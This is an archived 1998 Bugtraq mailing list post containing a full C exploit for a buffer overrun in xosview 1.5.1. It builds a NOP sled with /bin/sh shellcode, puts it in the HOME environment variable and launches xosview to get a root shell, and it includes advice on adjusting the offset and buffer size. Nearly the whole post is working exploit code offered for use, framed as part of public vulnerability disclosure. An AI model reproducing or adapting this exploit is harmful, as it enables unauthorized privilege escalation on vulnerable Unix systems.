OSEC

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Bugtraq archives for 2nd quarter (Apr-Jun) 1998: Re: Tiresome security hole in "xosview" (xosexp.c)

Re: Tiresome security hole in "xosview" (xosexp.c)

Kossak (ldvgCAMOES.RNL.IST.UTL.PT)
Fri, 29 May 1998 18:14:22 +0100

/* xosview 1.5.1 buffer overrun exploit
 * brought to you by Kossak (ldvgrnl.ist.utl.pt)
 *
 *  yep, this is a shameless rip from Aleph's tutorials, but it sure
 *  works... Lets keep those exploits coming!! :)
 *  Thanks to Chris Evans for posting the bug.
 */

/* NOTE!!! xosview needs an open X display for this to work, so remember
 * to modify the source (line 62), with your ip.
 * The offset and buffer size work with me fine, but you might need to
 * change them.
 */

#include <stdlib.h>

#define DEFAULT_OFFSET                 1150
#define DEFAULT_BUFFER_SIZE            3500
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;

  printf("xosview exploit by Kossak\n");
  printf("try changing the default values if you dont get root now.\n");
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  setenv("HOME", buff, 1);
  system("/usr/bin/X11/xosview -display 0:0"); /* your IP here */
 }